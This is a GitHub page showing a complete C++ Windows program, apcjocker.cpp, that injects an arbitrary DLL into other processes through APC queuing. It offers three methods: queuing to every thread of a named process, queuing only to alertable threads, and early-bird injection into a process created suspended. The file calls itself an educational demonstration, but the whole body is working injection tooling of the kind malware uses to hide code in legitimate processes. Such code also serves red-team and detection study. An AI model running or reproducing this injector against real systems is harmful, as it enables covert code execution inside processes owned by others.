Repository navigation
Expand file tree
/
Copy pathapcjocker.cpp
More file actions
629 lines (529 loc) · 20.7 KB
/
Copy pathapcjocker.cpp
File metadata and controls
629 lines (529 loc) · 20.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <iostream>
#include <string>
#include <vector>
// NT API definitions
typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
LONG Priority;
LONG BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
typedef struct _THREAD_WAIT_INFORMATION {
HANDLE WaitObject;
DWORD WaitReason;
DWORD WaitMode;
DWORD Alertable;
DWORD Timeout;
} THREAD_WAIT_INFORMATION, *PTHREAD_WAIT_INFORMATION;
// Thread information classes
#define ThreadBasicInformation 0
#define ThreadWaitInformation 0x11 // 17 decimal
#define ThreadState 0x10 // 16 decimal
#define ThreadWaitReason 0x12 // 18 decimal
#define ThreadAlertTime 0x20 // 32 decimal
// NTSTATUS codes
#define STATUS_SUCCESS 0x00000000
// NT function pointer types
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(
HANDLE ThreadHandle,
DWORD ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength
);
// Structure for detailed thread alertable information
struct ThreadAlertableInfo {
bool isAlertable;
bool isWaiting;
DWORD waitReason;
DWORD alertableFlag;
DWORD threadState;
};
// Forward declarations
DWORD GetProcessIdByName(const std::wstring& processName);
std::vector<DWORD> GetProcessThreads(DWORD pid);
// Function to check if threads are alertable
bool IsThreadAlertable(HANDLE hThread) {
if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
return false;
}
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll == NULL) {
return false;
}
pNtQueryInformationThread NtQueryInformationThread =
(pNtQueryInformationThread)GetProcAddress(hNtdll, "NtQueryInformationThread");
if (NtQueryInformationThread == NULL) {
return false;
}
// Method 1: Check thread wait information
THREAD_WAIT_INFORMATION waitInfo = { 0 };
ULONG returnLength = 0;
NTSTATUS status = NtQueryInformationThread(
hThread,
ThreadWaitInformation,
&waitInfo,
sizeof(THREAD_WAIT_INFORMATION),
&returnLength
);
if (status == STATUS_SUCCESS && returnLength >= sizeof(THREAD_WAIT_INFORMATION)) {
return (waitInfo.Alertable != 0);
}
return false;
}
// Enhanced function to get detailed thread alertable information
ThreadAlertableInfo GetThreadAlertableInfo(HANDLE hThread) {
ThreadAlertableInfo info = { false, false, 0, 0, 0 };
if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
return info;
}
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll == NULL) {
return info;
}
pNtQueryInformationThread NtQueryInformationThread =
(pNtQueryInformationThread)GetProcAddress(hNtdll, "NtQueryInformationThread");
if (NtQueryInformationThread == NULL) {
return info;
}
// Get thread wait information
THREAD_WAIT_INFORMATION waitInfo = { 0 };
ULONG returnLength = 0;
NTSTATUS status = NtQueryInformationThread(
hThread,
ThreadWaitInformation,
&waitInfo,
sizeof(THREAD_WAIT_INFORMATION),
&returnLength
);
if (status == STATUS_SUCCESS && returnLength >= sizeof(THREAD_WAIT_INFORMATION)) {
info.alertableFlag = waitInfo.Alertable;
info.isAlertable = (waitInfo.Alertable != 0);
info.isWaiting = true;
}
// Get thread wait reason
DWORD waitReason = 0;
status = NtQueryInformationThread(
hThread,
ThreadWaitReason,
&waitReason,
sizeof(waitReason),
&returnLength
);
if (status == STATUS_SUCCESS) {
info.waitReason = waitReason;
}
// Get thread state
DWORD threadState = 0;
status = NtQueryInformationThread(
hThread,
ThreadState,
&threadState,
sizeof(threadState),
&returnLength
);
if (status == STATUS_SUCCESS) {
info.threadState = threadState;
info.isWaiting = (threadState == 5); // Waiting state
}
return info;
}
// Helper function to print thread alertable information
void PrintThreadAlertableStatus(HANDLE hThread, DWORD threadId) {
ThreadAlertableInfo info = GetThreadAlertableInfo(hThread);
std::wcout << L"Thread ID: " << threadId << std::endl;
std::wcout << L" - Alertable: " << (info.isAlertable ? L"Yes" : L"No") << std::endl;
std::wcout << L" - Waiting: " << (info.isWaiting ? L"Yes" : L"No") << std::endl;
std::wcout << L" - Alertable Flag: " << info.alertableFlag << std::endl;
std::wcout << L" - Wait Reason: ";
switch (info.waitReason) {
case 0: std::wcout << L"Executive"; break;
case 1: std::wcout << L"FreePage"; break;
case 2: std::wcout << L"PageIn"; break;
case 3: std::wcout << L"PoolAllocation"; break;
case 4: std::wcout << L"DelayExecution (Sleep)"; break;
case 5: std::wcout << L"Suspended"; break;
case 6: std::wcout << L"UserRequest (WaitForSingleObject)"; break;
case 7: std::wcout << L"WrExecutive"; break;
case 8: std::wcout << L"WrFreePage"; break;
case 9: std::wcout << L"WrPageIn"; break;
case 10: std::wcout << L"WrPoolAllocation"; break;
case 11: std::wcout << L"WrDelayExecution"; break;
case 12: std::wcout << L"WrSuspended"; break;
case 13: std::wcout << L"WrUserRequest"; break;
default: std::wcout << L"Unknown (" << info.waitReason << L")"; break;
}
std::wcout << std::endl;
std::wcout << L" - Thread State: ";
switch (info.threadState) {
case 0: std::wcout << L"Initialized"; break;
case 1: std::wcout << L"Ready"; break;
case 2: std::wcout << L"Running"; break;
case 3: std::wcout << L"Standby"; break;
case 4: std::wcout << L"Terminated"; break;
case 5: std::wcout << L"Waiting"; break;
case 6: std::wcout << L"Transition"; break;
case 7: std::wcout << L"DeferredReady"; break;
default: std::wcout << L"Unknown"; break;
}
std::wcout << std::endl;
}
// Get process ID by name
DWORD GetProcessIdByName(const std::wstring& processName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W processEntry = { sizeof(PROCESSENTRY32W) };
if (Process32FirstW(snapshot, &processEntry)) {
do {
if (processName == processEntry.szExeFile) {
pid = processEntry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &processEntry));
}
CloseHandle(snapshot);
return pid;
}
// Get all threads of a process
std::vector<DWORD> GetProcessThreads(DWORD pid) {
std::vector<DWORD> threadIds;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return threadIds;
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == pid) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
CloseHandle(snapshot);
return threadIds;
}
// APC Injection Class
class APCInjector {
protected:
HANDLE hProcess;
DWORD processId;
LPVOID pRemoteMemory;
SIZE_T dllPathSize;
public:
APCInjector() : hProcess(NULL), processId(0), pRemoteMemory(NULL), dllPathSize(0) {}
virtual ~APCInjector() {
Cleanup();
}
// Main injection function
virtual bool Inject(const std::wstring& targetProcess, const std::wstring& dllPath) {
std::wcout << L"[*] Starting APC injection..." << std::endl;
// Step 1: Get target process ID
processId = GetProcessIdByName(targetProcess);
if (processId == 0) {
std::wcout << L"[!] Failed to find process: " << targetProcess << std::endl;
return false;
}
std::wcout << L"[+] Found process ID: " << processId << std::endl;
// Step 2: Open target process
hProcess = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE,
processId
);
if (hProcess == NULL) {
std::wcout << L"[!] Failed to open process. Error: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Opened process handle: " << hProcess << std::endl;
// Step 3: Allocate memory in target process
dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
pRemoteMemory = VirtualAllocEx(
hProcess,
NULL,
dllPathSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (pRemoteMemory == NULL) {
std::wcout << L"[!] Failed to allocate memory. Error: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Allocated memory at: 0x" << pRemoteMemory << std::endl;
// Step 4: Write DLL path to allocated memory
SIZE_T bytesWritten = 0;
BOOL writeSuccess = WriteProcessMemory(
hProcess,
pRemoteMemory,
dllPath.c_str(),
dllPathSize,
&bytesWritten
);
if (!writeSuccess || bytesWritten != dllPathSize) {
std::wcout << L"[!] Failed to write DLL path. Error: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] DLL path written to target process" << std::endl;
// Step 5: Get LoadLibraryW address
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW"
);
if (pLoadLibrary == NULL) {
std::wcout << L"[!] Failed to get LoadLibraryW address" << std::endl;
return false;
}
std::wcout << L"[+] LoadLibraryW address: 0x" << pLoadLibrary << std::endl;
// Step 6: Get all threads of target process
std::vector<DWORD> threadIds = GetProcessThreads(processId);
if (threadIds.empty()) {
std::wcout << L"[!] No threads found in target process" << std::endl;
return false;
}
std::wcout << L"[+] Found " << threadIds.size() << L" threads" << std::endl;
// Step 7: Queue APC to each thread
int successCount = 0;
for (DWORD tid : threadIds) {
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT |
THREAD_SUSPEND_RESUME |
THREAD_QUERY_INFORMATION,
FALSE,
tid
);
if (hThread == NULL) {
std::wcout << L"[!] Failed to open thread " << tid << L". Error: " << GetLastError() << std::endl;
continue;
}
DWORD queueResult = QueueUserAPC(
(PAPCFUNC)pLoadLibrary,
hThread,
(ULONG_PTR)pRemoteMemory
);
if (queueResult != 0) {
std::wcout << L"[+] APC queued to thread: " << tid << std::endl;
successCount++;
} else {
std::wcout << L"[!] Failed to queue APC to thread " << tid << L". Error: " << GetLastError() << std::endl;
}
CloseHandle(hThread);
}
if (successCount == 0) {
std::wcout << L"[!] Failed to queue APC to any thread" << std::endl;
return false;
}
std::wcout << L"[+] APC queued to " << successCount << L" threads" << std::endl;
std::wcout << L"[*] Waiting for DLL to load (threads need to enter alertable state)..." << std::endl;
Sleep(5000);
return true;
}
void Cleanup() {
if (pRemoteMemory != NULL && hProcess != NULL) {
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
std::wcout << L"[+] Freed allocated memory" << std::endl;
}
if (hProcess != NULL) {
CloseHandle(hProcess);
std::wcout << L"[+] Closed process handle" << std::endl;
}
}
};
// APC Injector with alertable thread checking
class APCInjectorWithAlertableCheck : public APCInjector {
public:
bool InjectWithCheck(const std::wstring& targetProcess, const std::wstring& dllPath) {
// First, get process threads
DWORD pid = GetProcessIdByName(targetProcess);
if (pid == 0) {
std::wcout << L"[!] Failed to find process" << std::endl;
return false;
}
std::vector<DWORD> threadIds = GetProcessThreads(pid);
// Check which threads are alertable before injection
std::wcout << L"[*] Checking thread alertable states..." << std::endl;
std::vector<DWORD> alertableThreads;
for (DWORD tid : threadIds) {
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, tid);
if (hThread) {
PrintThreadAlertableStatus(hThread, tid);
if (IsThreadAlertable(hThread)) {
alertableThreads.push_back(tid);
std::wcout << L"[+] Thread " << tid << L" is alertable" << std::endl;
} else {
std::wcout << L"[-] Thread " << tid << L" is NOT alertable" << std::endl;
}
CloseHandle(hThread);
}
}
if (alertableThreads.empty()) {
std::wcout << L"[!] No alertable threads found. APC injection will likely fail." << std::endl;
std::wcout << L"[!] Consider using a different injection technique." << std::endl;
return false;
}
std::wcout << L"[+] Found " << alertableThreads.size() << L" alertable threads" << std::endl;
// Proceed with injection
processId = pid;
hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid);
if (hProcess == NULL) {
std::wcout << L"[!] Failed to open process" << std::endl;
return false;
}
SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
pRemoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteMemory == NULL) {
std::wcout << L"[!] Failed to allocate memory" << std::endl;
return false;
}
SIZE_T bytesWritten = 0;
WriteProcessMemory(hProcess, pRemoteMemory, dllPath.c_str(), dllPathSize, &bytesWritten);
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
// Queue APC only to alertable threads
int successCount = 0;
for (DWORD tid : alertableThreads) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread) {
if (QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)pRemoteMemory)) {
std::wcout << L"[+] APC queued to alertable thread: " << tid << std::endl;
successCount++;
}
CloseHandle(hThread);
}
}
return successCount > 0;
}
};
// APC Injection with suspended process creation
class APCSuspendedInjector {
public:
bool InjectSuspended(const std::wstring& targetExe, const std::wstring& dllPath) {
std::wcout << L"[*] Starting suspended process APC injection..." << std::endl;
STARTUPINFOW si = { sizeof(STARTUPINFOW) };
PROCESS_INFORMATION pi = { 0 };
// Step 1: Create suspended process
std::wcout << L"[+] Creating suspended process: " << targetExe << std::endl;
BOOL createResult = CreateProcessW(
targetExe.c_str(),
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
if (!createResult) {
std::wcout << L"[!] Failed to create suspended process. Error: " << GetLastError() << std::endl;
return false;
}
std::wcout << L"[+] Process created with PID: " << pi.dwProcessId << std::endl;
// Step 2: Allocate memory in target process
SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
LPVOID pRemoteMemory = VirtualAllocEx(
pi.hProcess,
NULL,
dllPathSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (pRemoteMemory == NULL) {
std::wcout << L"[!] Failed to allocate memory. Error: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return false;
}
// Step 3: Write DLL path
SIZE_T bytesWritten = 0;
WriteProcessMemory(pi.hProcess, pRemoteMemory, dllPath.c_str(), dllPathSize, &bytesWritten);
// Step 4: Get LoadLibraryW address
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
GetModuleHandleW(L"kernel32.dll"),
"LoadLibraryW"
);
// Step 5: Queue APC to main thread
std::wcout << L"[+] Queueing APC to main thread..." << std::endl;
DWORD queueResult = QueueUserAPC(
(PAPCFUNC)pLoadLibrary,
pi.hThread,
(ULONG_PTR)pRemoteMemory
);
if (queueResult == 0) {
std::wcout << L"[!] Failed to queue APC. Error: " << GetLastError() << std::endl;
VirtualFreeEx(pi.hProcess, pRemoteMemory, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return false;
}
std::wcout << L"[+] APC queued successfully" << std::endl;
// Step 6: Resume thread
std::wcout << L"[+] Resuming main thread..." << std::endl;
ResumeThread(pi.hThread);
// Step 7: Cleanup handles
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
std::wcout << L"[+] Injection complete" << std::endl;
return true;
}
};
// Main function
int main() {
std::wcout << L"=====================================" << std::endl;
std::wcout << L" APC Injection Demonstration " << std::endl;
std::wcout << L"=====================================" << std::endl;
std::wcout << L"[!] Note: Administrative privileges may be required" << std::endl;
std::wcout << L"[!] Target process must have threads in alertable state" << std::endl;
std::wcout << L"[!] This is for educational purposes only" << std::endl;
std::wcout << L"=====================================\n" << std::endl;
int choice;
std::wcout << L"Select injection method:" << std::endl;
std::wcout << L"1. Basic APC Injection" << std::endl;
std::wcout << L"2. APC Injection with Alertable Thread Check" << std::endl;
std::wcout << L"3. Suspended Process APC Injection" << std::endl;
std::wcout << L"Choice: ";
std::cin >> choice;
std::cin.ignore();
std::wcout << L"Enter target process name (e.g., notepad.exe): ";
std::wstring targetProcess;
std::getline(std::wcin, targetProcess);
std::wcout << L"Enter DLL full path (e.g., C:\\temp\\test.dll): ";
std::wstring dllPath;
std::getline(std::wcin, dllPath);
bool success = false;
switch (choice) {
case 1: {
APCInjector injector;
success = injector.Inject(targetProcess, dllPath);
break;
}
case 2: {
APCInjectorWithAlertableCheck injector;
success = injector.InjectWithCheck(targetProcess, dllPath);
break;
}
case 3: {
APCSuspendedInjector injector;
success = injector.InjectSuspended(targetProcess, dllPath);
break;
}
default:
std::wcout << L"[!] Invalid choice" << std::endl;
return 1;
}
if (success) {
std::wcout << L"\n[+] Operation completed successfully!" << std::endl;
} else {
std::wcout << L"\n[!] Operation failed!" << std::endl;
}
return 0;
}